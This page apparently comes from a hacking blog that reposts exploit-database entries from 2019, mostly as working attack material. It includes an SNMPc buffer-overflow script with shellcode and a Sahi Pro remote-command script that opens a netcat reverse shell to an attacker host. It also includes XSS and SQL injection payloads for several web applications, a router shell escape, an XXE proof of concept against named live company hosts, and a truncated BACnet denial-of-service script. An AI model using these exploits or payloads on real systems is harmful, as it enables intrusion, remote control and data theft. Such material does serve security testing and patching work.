#!/usr/bin/python
# -*- coding: utf-8 -*-
#--------------------------------------------------------------------#
# Exploit: SNMPc Enterprise Edition (9 & 10) (Mapping File Name BOF) #
# Date: 11 July 2019 #
# Exploit Author: @xerubus | mogozobo.com #
# Vendor Homepage: https://www.castlerock.com/ #
# Software Linke: https://www.castlerock.com/products/snmpc/ #
# Version: Enterprise Editioin 9 & 10 #
# Tested on: Windows 7 #
# CVE-ID: CVE-2019-13494 #
# Full write-up: https://www.mogozobo.com/?p=3534 #
#--------------------------------------------------------------------#
import sys, os
os.system('clear')
print("""\
_ _
___ (~ )( ~)
/ \_\ \/ /
| D_ ]\ \/ -= SNMPc_Mapping_BOF by @xerubus =-
| D _]/\ \ -= We all have something to hide =-
\___/ / /\ \\
(_ )( _)
@Xerubus
""")
filename="evilmap.csv"
junk = "A" * 2064
nseh = "\xeb\x07\x90\x90" # short jmp to 0018f58d \xeb\x07\x90\x90
seh = "\x05\x3c\x0e\x10" # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll)
# Pre-padding of mapping file. Note mandatory trailing character return.
pre_padding = (
"Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password"
"\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n"
"\"")
# Post-padding of mapping file. Note mandatory trailing character return.
post_padding = (
"\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n")
# msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c
shellcode = (
"\xda\xcc\xd9\x74\x24\xf4\xba\xd9\xa1\x94\x48\x5f\x2b\xc9\xb1"
"\x31\x31\x57\x18\x83\xc7\x04\x03\x57\xcd\x43\x61\xb4\x05\x01"
"\x8a\x45\xd5\x66\x02\xa0\xe4\xa6\x70\xa0\x56\x17\xf2\xe4\x5a"
"\xdc\x56\x1d\xe9\x90\x7e\x12\x5a\x1e\x59\x1d\x5b\x33\x99\x3c"
"\xdf\x4e\xce\x9e\xde\x80\x03\xde\x27\xfc\xee\xb2\xf0\x8a\x5d"
"\x23\x75\xc6\x5d\xc8\xc5\xc6\xe5\x2d\x9d\xe9\xc4\xe3\x96\xb3"
"\xc6\x02\x7b\xc8\x4e\x1d\x98\xf5\x19\x96\x6a\x81\x9b\x7e\xa3"
"\x6a\x37\xbf\x0c\x99\x49\x87\xaa\x42\x3c\xf1\xc9\xff\x47\xc6"
"\xb0\xdb\xc2\xdd\x12\xaf\x75\x3a\xa3\x7c\xe3\xc9\xaf\xc9\x67"
"\x95\xb3\xcc\xa4\xad\xcf\x45\x4b\x62\x46\x1d\x68\xa6\x03\xc5"
"\x11\xff\xe9\xa8\x2e\x1f\x52\x14\x8b\x6b\x7e\x41\xa6\x31\x14"
"\x94\x34\x4c\x5a\x96\x46\x4f\xca\xff\x77\xc4\x85\x78\x88\x0f"
"\xe2\x77\xc2\x12\x42\x10\x8b\xc6\xd7\x7d\x2c\x3d\x1b\x78\xaf"
"\xb4\xe3\x7f\xaf\xbc\xe6\xc4\x77\x2c\x9a\x55\x12\x52\x09\x55"
"\x37\x31\xcc\xc5\xdb\x98\x6b\x6e\x79\xe5")
print "[+] Building payload.."
payload = "\x90" * 10 + shellcode
print "[+] Creating buffer.."
buffer = pre_padding + junk + nseh + seh + payload + "\x90" * 10 + post_padding
print "[+] Writing evil mapping file.."
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
print "[+] Done. Import evilmap.csv into SNMPc and A Wild Calc Appears!\n\n"
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863592426
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: tenda D301 v2 modem router stored xss CVE-2019-13492
# Exploit Author: ABDO10
# Date : July, 11th 2019
# Product : Tenda D301 v2 Modem Router
# version : v2
# Vendor Homepage: https://www.tp-link.com/au/home-networking/dsl-modem-router/td-w8960n/
# Tested on: Linux
# CVE : 2019-13491
# Poc Instructions :
/*******************************************************************************************************************/
> 1 - Open modem router on web browser default(192.168.1.1)
> 2 - Click on advanced -> Wireless -> Security
> 3 - fill this payload : <img src="xy" OnError=prompt(document.cookie)> as password
> 4 - Click on "click to display"
/*******************************************************************************************************************/
# Exploit Title: Stored Cross Site Scripting (XSS) in Sitecore 9.0 rev 171002
# Date: July 11, 2019
# Exploit Author: Owais Mehtab
# Vendor Homepage: http://www.sitecore.net/en
# Version: 9.0 rev. 171002
# Tested on: Sitecore Experience Platform 8.1 Update-3 i.e.; 8.1 rev. 160519
# CVE : CVE-2019-13493
Vendor Description
------------------
Sitecore CMS makes it effortless to create content and experience rich websites that help you achieve your business goals such as increasing sales and search engine visibility, while being straight-forward to integrate and administer. Sitecore lets you deliver sites that are highly scalable, robust and secure. Whether you're focused on marketing, development and design, or providing site content, Sitecore delivers for you.
Description
------------
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.
Vulnerability Class
--------------------
Cross-site Scripting (XSS) - https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
Proof of Concept
----------------
File Extension parameter is not properly escaped. This could lead to an XSS attack that could possibly affect administrators,users,editor.
1. Login to application and navigate to "https://example.com/sitecore/shell/Applications/Content Editor.aspx?sw_bw=1"
2. Go to media library and click on any image and edit it
3. Now in Extension input parameter inject any XSS vector like '"><svg=onload=prompt(2)>
# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution
# Date: 2019-07-12
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://sahipro.com
# Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar
# Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html
# Version: 8.0.0
# Category: Webapps
# Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
# Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor.
# It is possible to execute commands on the server using the function "_execute()".
# This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session.
# It can take 5-20 seconds to receive session.
# ==================================================================
# PoC:
#!/usr/bin/python
import sys, requests
import colorama, random, urllib
from colorama import Fore
def bannerche():
print '''
@-------------------------------------------------------------@
| Sahi Pro v8.x - Unauthenticated RCE Exploit |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()
def check_nc(rhost,lport):
choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): "))
if choose == "n":
return False
else:
return True
def execute_command(rhost,rport,filename):
runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile"
runheaders = {"Connection": "close"}
rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0"
runsah = requests.post(runuri, headers=runheaders, data=rundata)
if runsah.status_code == 200:
print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...")
else:
print (Fore.RED + "+ [X] Failed to run script.")
sys.exit()
def create_sah(rhost,rport,scdir,lhost,lport):
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah"
payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC
sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+""
saheaders = {"Connection": "close"}
sahreq = requests.get(sahuri, headers=saheaders)
if sahreq.status_code == 200:
print (Fore.GREEN + "+ [*] "+filename+" script created successfully!")
execute_command(rhost,rport,filename)
else:
print (Fore.RED + "+ [X] Failed to create "+filename+" script.")
sys.exit()
def main():
if (len(sys.argv) != 6):
print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>"
print "[*] <RHOST> -> Target IP"
print "[*] <RPORT> -> Target Port"
print "[*] <SCDIR> -> Target Script Directory"
print "[*] <LHOST> -> Attacker IP"
print "[*] <LPORT> -> Attacker Port"
print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444"
exit(0)
rhost = sys.argv[1]
rport = sys.argv[2]
scdir = sys.argv[3]
lhost = sys.argv[4]
lport = sys.argv[5]
if not check_nc(rhost,rport):
print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!")
else:
create_sah(rhost,rport,scdir,lhost,lport)
if __name__ == "__main__":
main()
# Exploit Title: Persistent XSS - Dependency Graph View Plugin(v0.13)
# Vendor Homepage: https://wiki.jenkins.io/display/JENKINS/Dependency+Graph+View+Plugin
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: Java
# CVE: CVE-2019-10349
# Jenkins issue: #SECURITY-1177
1. Description:
The "Display Name" field in General Options of the Configure module in
Jenkins was found to be accepting arbitrary value which when loaded in the
Dependency Graph View module gets execute which makes it vulnerable to a
Stored/Persistent XSS.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10349
2. Proof of Concept:
Vulnerable Source
http://{jenkins-hostname:port}/jobs/{projectname}/configure
Steps to Reproduce:
Login to Jenkins Server with valid credentials and ensure that the
dependency graph plugin is installed.
1. Click on configure the Jenkins plugin.
2. Select advanced options
3. Enter the XSS payload in the "Display Name" field
4. Navigate to Dependency Graph module
5. Observe the Executed Payload
6. Payload used for the demo:
<img src="a" onerror="alert('jenkinsxss')">
3. Solution:
As of publication of this advisory, there is no fix.
The plugin hsa been abandoned by the maintainer
Reference
https://jenkins.io/security/advisory/2019-07-11/#SECURITY-1177
# Exploit Title: REDCap < 9.1.2 - Cross-Site Scripting
# Date: 2019-07-19
# Exploit Author: Dylan GARNAUD & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://projectredcap.org
# Software Link: https://projectredcap.org
# Version: Redcap 9.x.x before 9.1.2 and 8.x.x before 8.10.2
# Tested on: 9.1.0
# CVE: CVE-2019-13029
# Security advisory: https://gitlab.com/snippets/1874216
### Stored XSS n°1 – Project name (found by Dylan GARNAUD)
Most JavaScript event are blacklisted but not all. As a result we found one event that was not blacklisted and successfully used it.
- Where? In project name
- Payload: `<BODY onKeyPress=alert("xss")>`
- Details: Since it is an *onkeypress* event, it is triggered whenever the user touch any key and since the XSS payload is stored in the project name it appears in several pages.
- Privileges: It requires admin privileges to store it.
- Location example: https://redcap.XXX/redcap/redcap_v9.1.0/ProjectSetup/index.php?pid=16&msg=projectmodified
### Stored XSS n°2 – Calendar (found by Dylan GARNAUD)
- Where? Calendar event
- Payload: `<BODY onKeyPress=alert("xss")>`
- Privileges: It requires admin privileges to store it.
- Location example: https://redcap.XXX/redcap/redcap_v9.1.0/Calendar/index.php?pid=16&view=week&month=7&year=2019&day=12
### Stored XSS n°3 – CSV upload (found by Dylan GARNAUD)
- Where? Wherever there is a CSV upload feature with displayed parsed results
- Payload:
```csv
record_id,my_first_instrument_complete,body_onkeypressalertxssinstrumetn_complete
<script>alert("upload xss")</script>,,
```
- Details: Once the malicious CSV is uploaded, the parsed content is inserted into a HTML table where the XSS will be triggered.
- Privileges: It requires admin privileges to store it.
- URL examples of execution:
+ https://redcap.XXX/redcap/redcap_v9.1.0/index.php?pid=16&route=DataComparisonController:index
+ https://redcap.XXX/redcap/redcap_v9.1.0/DataQuality/index.php?pid=16
### Stored XSS n°4 – Survey queue (found by Alexandre ZANNI)
- Where? In the Survey Queue (choose a Projet > Project Home and Design > Design > Survey Queue)
- Payload: `</textarea><svg/onload='alert("XSS survey queue")'>`
- Privileges: It requires admin privileges to store it.
- Location example: https://redcap.XXX/redcap/redcap_v9.1.0/Design/online_designer.php?pid=16
### Stored XSS n°5 – Survey (found by Alexandre ZANNI)
- Where? In the survey management system.
+ Store: One has to select a project, go in the *Designer* section, choose *Survey Settings* and then store the payload in the WYSIWYG editor section named *Survey Instructions* (the same happens for *Survey Completion Text*).
+ Execute: Anyone who consults the survey, for example https://redcap.XXX/redcap/surveys/?s=88XF8CRJH4, will trigger the XSS.
- Payload:
```html
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert('Survey XSS')</SCRIPT>"></BODY></HTML>
```
- Privileges:
+ Store: It requires admin privileges to store it.
+ Execute: Any unauthenticated user that can consult a survey.
# Exploit Title: Web Ofisi Rent a Car 3 - 'klima' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/rent-a-car-v3.html
# Demo Site: http://demobul.net/rentacarv3/
# Version: v3
# Tested on: Kali Linux
# CVE: N/A
----- PoC 1: SQLi -----
Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: kategori[] (GET)
Payload: if(now()=sysdate(),sleep(0),0)
----- PoC 2: SQLi -----
Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: klima[] (GET)
Payload: 1 AND 3*2*1=6 AND 695=695
----- PoC 3: SQLi -----
Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499
----- PoC 4: SQLi -----
Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: vites[] (GET)
Payload: 1 AND 3*2*1=6 AND 499=499
----- PoC 5: SQLi -----
Request:
http://localhost/[PATH]/arac-listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1
Vulnerable Parameter: yakit[] (GET)
Payload: 1 AND 3*2*1=6 AND 602=602
# Exploit Title: Web Ofisi Firma Rehberi 1 - 'il' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/firma-rehberi-scripti-v1.html
# Demo Site: http://demobul.net/firma-rehberi-v1/
# Version: v1
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
Request:
http://localhost/[PATH]/firmalar.html?il=0&kat=&kelime=&siralama=yeni
Vulnerable Parameters: il,kelime,kat (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
# Exploit Title: Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/emlak-scripti-v3.html
# Demo Site: http://demobul.net/emlakv3/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A
----- PoC 1: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_durumu (GET)
Payload: -1' OR 3*2*1=6 AND 000744=000744 --
----- PoC 2: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: emlak_tipi (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
----- PoC 3: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: il (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
----- PoC 4: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: ilce (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --
----- PoC 5: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: kelime (GET)
Payload: -1' OR 3*2*1=6 AND 000397=000397 --
----- PoC 6: SQLi -----
Request:
http://localhost/[PATH]/emlak-ara.html?emlak_durumu=0&emlak_tipi=0&il=0&ilce=0&kelime=0&max_fiyat=e&max_metrekare=e&min_fiyat=e&min_metrekare=e&resim=evet&semt=0&video=evet
Vulnerable Parameter: semt (GET)
Payload: -1' OR 3*2*1=6 AND 000531=000531 --
# Exploit Title: Web Ofisi Firma 13 - 'oz' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/kurumsal-firma-v13-sinirsiz-dil.html
# Demo Site: http://demobul.net/firmav13/
# Version: v13
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
Request: http://localhost/[PATH]/kategori/ikinci-el-klima.html?oz[]=1_1
Vulnerable Parameters: oz[] (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
# Exploit Title: NoviSmart CMS SQL injection
# Date: 23.7.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: http://www.novismart.com/
# Version: Every version
# CVE : CWE-89
Vulnerable parameter: Referer (HTTP Header field)
[GET Request]
GET / HTTP/1.1
Referer: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
Accept-Language: en
Via: 1.1 wa.www.test.com
Origin: http://www.test.com/
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=24769012200df6ccd9002dbf5b978e9c; language=1
Host: host
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
# Exploit Title: Comtrend-AR-5310 - Restricted Shell Escape
# Date: 2019-07-20
# Exploit Author: AMRI Amine
# Vendor Homepage: https://www.comtrend.com/
# Version: GE31-412SSG-C01_R10.A2pG039u.d24k
# Tested on: Linux (busybox)
TL;DR: A local user can bypass the restricted shell using the command substitution operator $( commmand )
Comtrend AR 5310 routers have a restricted shell, the list of command a user can execute is
[ ? help logout exit quit reboot ads lxdslctl xtm loglevel logdest virtualserver ddns dumpcfg dumpmdm meminfo psp dumpsysinfo dnsproxy syslog ifconfig ping sntp sysinfo tftp wlan wlctl vlanctl arp defaultgateway dhcpserver dns lan lanhosts passwd ppp restoredefault route nslookup traceroute save uptime exitOnIdle wan build version serialnumber modelname acccntr upnp urlfilter timeres tr69cfg logouttime ipneigh dhcp6sinfo nat mcpctl ]
Usual terminal constructs like:
the command separator ";"
the control operator "&" (run in forground)
the redirection operator (pipe) "|"
the command substitution operator "`"
are all filtered as shown here :
> ;
Warning: operator ; is not supported!
telnetd:error:476.449:processInput:490:unrecognized command
> |
Warning: operator | is not supported!
telnetd:error:484.871:processInput:490:unrecognized command
> &
Warning: operator & is not supported!
telnetd:error:487.421:processInput:490:unrecognized command
> `
Warning: operator ` is not supported!
telnetd:error:495.334:processInput:490:unrecognized command
Still the $ operator is not filtered:
> $
telnetd:error:497.862:processInput:490:unrecognized command $
Here i came to the conclusion that invoking a command with $( subcommand ) as argument would give an obvious shell
> ping $( sh )
exec >&2
ps x | grep telnet
18333 root 4164 S telnetd -m 0
18334 root 4168 S telnetd -m 0
EOF
# Title: Axway SecureTransport 5 - Unauthenticated XML Injection
# Google Dork: intitle:"Axway SecureTransport" "Login"
# Date: 2019-07-20
# Author: Dominik Penner / zer0pwn of Underdog Security
# Vendor Homepage: https://www.axway.com/en
# Software Link: https://docs.axway.com/bundle/SecureTransport_54_AdministratorGuide_allOS_en_HTML5/page/Content/AdministratorsGuide/overview/overview.htm
# Version: 5.x
# CVE: N/A
_ _
_______ _ __ ___ | | ___ | |
|_ / _ \ '__/ _ \ | |/ _ \| |
/ / __/ | | (_) || | (_) | |
/___\___|_| \___(_)_|\___/|_|
https://zero.lol
zero days 4 days
ATTENTION:
this is a friendly neighborhood zeroday drop
"Axway SecureTransport is a multi-protocol MFT gateway for securing, managing, and tracking file flows among people and applications inside your enterprise, and beyond your firewall to your user communities, the cloud and mobile devices. It is designed to handle everything — from high-volume automated high speed secure file transfers between systems, sites, lines of business and external partners, to user-driven communications and mobile, folder- and portal-based file sharing."
Who uses this software?
Well, to name a few... (just use the dork dude)
- Government of California
- Biometrics.mil
- Fleetcor
- Costco
- Boeing
- IRS
Description:
Axway SecureTransport versions 5.3 through 5.0 (and potentially others) are vulnerable to an unauthenticated blind XML injection (& XXE) vulnerability in the resetPassword functionality via the REST API. If executed properly, this vulnerablity can lead to local file disclosure, DOS or URI invocation attacks (e.g SSRF->RCE). It's worth noting that in version 5.4 the v1 API was deprecated... but not removed entirely. Meaning that you can still trigger this vulnerability on updated installations if they have the v1.0, v1.1, v1.2 or v1.3 in the /api/ directory.
Reproduction:
1. Breaking the parser.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
</email>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 2; The markup in the document preceding the root element must be well-formed.]"
}
```
2. Verifying the vulnerability.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY thisactuallyexists SYSTEM "file:///dev/null">
]>
<resetPassword><email>&thisactuallyexists;&thisdoesnt;</email></resetPassword>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 48; The entity "thisdoesnt" was referenced, but not declared.]"
}
```
As you can see, the parser recognizes that "thisactuallyexists" was in fact declared. In the same error, we see that "thisdoesn't" was referenced, but not declared. This demonstrates that we can declare arbitrary entities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#detect-the-vulnerability
3. External Entity Injection (XXE) (hardened)
NOTE: Because the server doesn't reflect the input anywhere, our only option is error-based XXE or out-of-band XXE. However, upon initial discovery, it appears as though most Axway SecureTransport installations have some type of firewall blocking all outgoing requests. This makes exploiting traditional XXE difficult. Judging by this, my only ideas on exploitation would be via blind SSRF or by repurposing an existing DTD on the filesystem to trigger an error with the file contents/result of our payload. However because I don't have a license, I can't effectively audit this software from a whitebox perspective, which makes mapping out internal attack surface difficult. The underlying vulnerability remains... but with restrictions.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY ssrf SYSTEM "http://localhost/SOMETHING_I_WISH_I_KNEW_EXISTED?NEW_PASSWORD=1337" >
]>
<resetPassword><email>&ssrf;</email></resetPassword>
```
HTTP Response:
```
(empty)
```
Local DTD repurposing example request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<resetPassword></resetPassword>
```
4. More vulnerability-indicating errors:
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY ssrf SYSTEM a >
]>
<resetPassword><email>&ssrf;</email></resetPassword>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 22; The system identifier must begin with either a single or double quote character.]"
}
```
5. The original request
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<resetPassword><email>email@email.com</email></resetPassword>
```
HTTP Response:
```
(empty)
```
Conclusion:
If a determined attacker were to get to know the Axway SecureTransport software, the chances of successfully chaining this bug are high. DTD repurposing is a relatively new technique, however in the near future we will be seeing a lot more of this attack vector due to XML parser restrictions/firewalled networks. I didn't feel comfortable doing further testing as I don't have a license, meaning I'm limited to testing against live targets. So for now, enjoy the 0day. Be creative.
Remediation:
In order to avoid this vulnerability, it's suggested to disable both doctype declaration and external general entities. You can find more information on that here: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
Notes:
- Referer must be set.
- Content type must be xml.
- Successful request returns a HTTP/1.1 204 No Content
- Any type of invalid XML throws an SAXParser exception.
- If external entities were disabled... we should also recieve an exception.
- Same with doctype declaration.
- API endpoints can vary from /api/v1.0, /api/v1.1, /api/v1.2, /api/v1.3, /api/v1.4
References:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://gist.github.com/marcwickenden/acd0b23953b52e7c1a1a90925862d8e2
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
# Exploit Title: BACnet Stack 0.8.6 - Denial of Service
# Google Dork: [if applicable]
# Date: 2019-07-19
# Exploit Author: mmorillo
# Vendor Homepage: https://sourceforge.net/p/bacnet/
# Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/
# Version: bacnet-stack-0.8.6
# Tested on: Linux
# CVE: CVE-2019-12480
#!/usr/bin/env python
#
# After reported the bug to the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (exploit code to
# test), has been release a fix for 0.8.7 release of
# BACnet Protocol Stack https://sourceforge.net/p/bacnet/
import socket
import struct
import argparse
import os
import sys
from termcolor import colored
#------------------------------------------------------------------------------
# Command line parser using argparse
#------------------------------------------------------------------------------
def cmdline_parser():
parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1',
usage="python %(prog)s")
# Mandatory
parser.add_argument('Server', type=str, help='BACnet server IP')
parser.add_argument('Port', type=str, help='BACnet port')
return parser
def get_Host_name_IP():
try:
host_name = socket.gethostname()
host_ip = socket.gethostbyname(host_name)
return host_ip
except:
print("Unable to get Hostname and IP")
def target_alive(BACnetServer, BACnetPort):
response = os.system("nc -u -z -w 1 " + BACnetServer + " " + str(BACnetPort))
if response == 0:
return True
else:
return False
#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------
def main():
# Get the command line parser.
parser = cmdline_parser()
# Show help if no args
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
# Get results line parser.
results = parser.parse_args()
